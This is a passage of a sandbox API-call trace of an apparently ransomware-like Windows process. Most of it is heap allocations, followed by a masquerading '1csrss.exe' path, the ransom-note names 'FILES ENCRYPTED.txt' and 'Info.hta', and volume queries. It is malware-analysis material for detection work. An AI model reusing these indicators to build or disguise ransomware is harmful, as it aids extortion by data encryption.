(HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cc588 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e45a0 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e4168 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e3fd0 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x6) returned 0x4cc688 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e3f40 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e4048 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cc5a8 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e3f58 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e4018 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e3ef8 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e4180 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e4000 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e4150 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xe) returned 0x4e4030 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e3ec8 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e3ee0 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e3fa0 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e3f70 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e4078 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e3fe8 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cc648 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e3f10 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e40f0 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e40c0 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e3f28 [0317.782] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x520898, Size=0x200) returned 0x521d38 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e40d8 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cc658 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e3f88 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e3fb8 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e4120 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e4060 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e4198 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e4090 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e40a8 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e4138 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e4108 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e41b0 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x5384d0 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538560 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538428 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x538608 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x538368 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538458 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x538548 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x538590 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5385c0 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5384a0 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5383c8 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cc5b8 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5383b0 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538380 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538398 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cc8c8 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538530 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x5383e0 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5384b8 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538320 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538518 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538338 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5384e8 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5383f8 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x538350 [0317.783] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x538470 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538410 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538578 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538440 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x538488 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538500 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5385a8 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5385d8 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5385f0 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538650 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538668 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538680 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4e5a28 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x6) returned 0x4e59f8 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5387b8 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5387a0 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5387d0 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538698 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538728 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x538620 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538770 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538710 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5386b0 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538788 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x5386c8 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5386f8 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538638 [0317.784] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x521d38, Size=0x400) returned 0x521d38 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5386e0 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538740 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x538758 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538068 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5382d8 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538098 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x538038 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538230 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538188 [0317.784] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5381a0 [0317.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4e59d8 [0317.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538110 [0317.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x5380b0 [0317.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5380c8 [0317.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538200 [0317.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538128 [0317.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538170 [0317.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xe) returned 0x5382f0 [0317.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538050 [0317.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538290 [0317.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538140 [0317.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538158 [0317.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5380f8 [0317.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5381b8 [0317.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538308 [0317.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5381d0 [0317.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4e5a98 [0317.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5381e8 [0317.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538248 [0317.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538218 [0317.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538260 [0317.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538020 [0317.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538278 [0317.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5382a8 [0317.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5382c0 [0317.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x538080 [0317.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xe) returned 0x5380e0 [0317.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec498 [0317.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xe) returned 0x4ec300 [0317.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec2d0 [0317.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec438 [0317.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec450 [0317.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec3d8 [0317.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec360 [0317.785] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4ec318 [0317.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec3c0 [0317.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec3f0 [0317.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec4b0 [0317.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec348 [0317.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec2e8 [0317.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec528 [0317.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec408 [0317.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec330 [0317.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec4c8 [0317.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec4e0 [0317.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec468 [0317.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec4f8 [0317.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec378 [0317.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec3a8 [0317.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec390 [0317.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec420 [0317.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec510 [0317.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ec480 [0317.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x12) returned 0x4a3530 [0317.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec540 [0317.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec558 [0317.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec570 [0317.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec588 [0317.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec5b8 [0317.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec5a0 [0317.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec690 [0317.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec660 [0317.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec750 [0317.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec630 [0317.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec888 [0317.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec6d8 [0317.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec7c8 [0317.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec8a0 [0317.786] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec6f0 [0317.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec840 [0317.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec678 [0317.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec6a8 [0317.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec708 [0317.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec618 [0317.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4ec648 [0317.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4ec6c0 [0317.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4ec720 [0317.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xe) returned 0x4ec5e8 [0317.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4ec7e0 [0317.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4e59c8 [0317.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec5d0 [0317.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4e5a08 [0317.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec600 [0317.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec738 [0317.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec768 [0317.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4ec828 [0317.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4ec7b0 [0317.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec780 [0317.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4ec798 [0317.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec7f8 [0317.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec8b8 [0317.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4ec858 [0317.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec810 [0317.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4ec870 [0317.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4ec9c0 [0317.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4eca08 [0317.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4e5908 [0317.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec8e8 [0317.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4eca80 [0317.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec8d0 [0317.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec990 [0317.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4ec930 [0317.787] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4eca38 [0317.788] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x521d38, Size=0x800) returned 0x4edab0 [0317.788] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e46a0 | out: hHeap=0x490000) returned 1 [0317.788] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ed2f8 | out: hHeap=0x490000) returned 1 [0317.788] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ed1a8 | out: hHeap=0x490000) returned 1 [0317.788] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ed100, Size=0x20) returned 0x4e9770 [0317.788] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e9770, Size=0x40) returned 0x4e81f0 [0317.788] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e81f0, Size=0x80) returned 0x4e0f48 [0317.788] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e5a38, Size=0x8) returned 0x4e58f8 [0317.788] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e58f8, Size=0x10) returned 0x4ed1a8 [0317.788] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ed1a8, Size=0x20) returned 0x4e9630 [0317.788] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e0f48 | out: hHeap=0x490000) returned 1 [0317.788] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ed3b8, Size=0x20) returned 0x4e9658 [0317.788] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e9658, Size=0x40) returned 0x4e8160 [0317.788] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0317.788] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e8160 | out: hHeap=0x490000) returned 1 [0317.788] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ed2c8, Size=0x20) returned 0x4e96d0 [0317.788] lstrlenW (lpString="Info.hta") returned 8 [0317.788] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e96d0 | out: hHeap=0x490000) returned 1 [0317.789] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5387f8, nSize=0x7fff | out: lpFilename="C:\\Windows\\System32\\1csrss.exe" (normalized: "c:\\windows\\system32\\1csrss.exe")) returned 0x1e [0317.789] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x5387f8 | out: hHeap=0x490000) returned 1 [0317.789] lstrlenW (lpString="1csrss.exe") returned 10 [0317.789] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e9630, Size=0x40) returned 0x4e8550 [0317.789] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ed2c8, Size=0x20) returned 0x4e95e0 [0317.789] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ed2c8, Size=0x20) returned 0x4e9608 [0317.789] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e9608, Size=0x40) returned 0x4e8508 [0317.789] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e8508, Size=0x80) returned 0x4e0420 [0317.789] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e0420, Size=0x100) returned 0x5211e0 [0317.789] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0317.789] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x5211e0 | out: hHeap=0x490000) returned 1 [0317.789] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x5387f8, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0317.789] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x548800 | out: hHeap=0x490000) returned 1 [0317.790] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x5387f8 | out: hHeap=0x490000) returned 1 [0317.790] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e5998, Size=0x8) returned 0x4e5a38 [0317.790] lstrlenW (lpString="%windir%;") returned 9 [0317.790] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e95e0 | out: hHeap=0x490000) returned 1 [0317.790] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0317.790] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x527fe8 | out: hHeap=0x490000) returned 1 [0317.791] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ed2e0, Size=0x20) returned 0x4e95e0 [0317.791] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e95e0, Size=0x40) returned 0x4e8160 [0317.791] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e8160, Size=0x80) returned 0x4e0e38 [0317.791] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e0e38, Size=0x100) returned 0x520898 [0317.791] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e5968, Size=0x8) returned 0x4e5938 [0317.791] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e5938, Size=0x10) returned 0x4ed340 [0317.791] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ed340, Size=0x20) returned 0x4e95e0 [0317.791] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e5a48, Size=0x8) returned 0x4e5998 [0317.791] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e59b8, Size=0x8) returned 0x4e5958 [0317.791] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e5978, Size=0x8) returned 0x4e5a48 [0317.791] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e5a48, Size=0x10) returned 0x4ed508 [0317.791] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ed508, Size=0x20) returned 0x4e9608 [0317.791] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e5998, Size=0x10) returned 0x4ed490 [0317.791] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e5958, Size=0x10) returned 0x4ed418 [0317.791] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e58e8, Size=0x8) returned 0x4e5a48 [0317.791] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e59b8, Size=0x8) returned 0x4e5998 [0317.791] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ed490, Size=0x20) returned 0x4e96d0 [0317.791] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ed418, Size=0x20) returned 0x4e9658 [0317.792] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e5a88, Size=0x8) returned 0x4e58e8 [0317.792] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x520898 | out: hHeap=0x490000) returned 1 [0317.792] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ed5e0, Size=0x20) returned 0x4e9798 [0317.792] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x527fe8, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0317.792] lstrlenW (lpString="C:\\") returned 3 [0317.792] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, 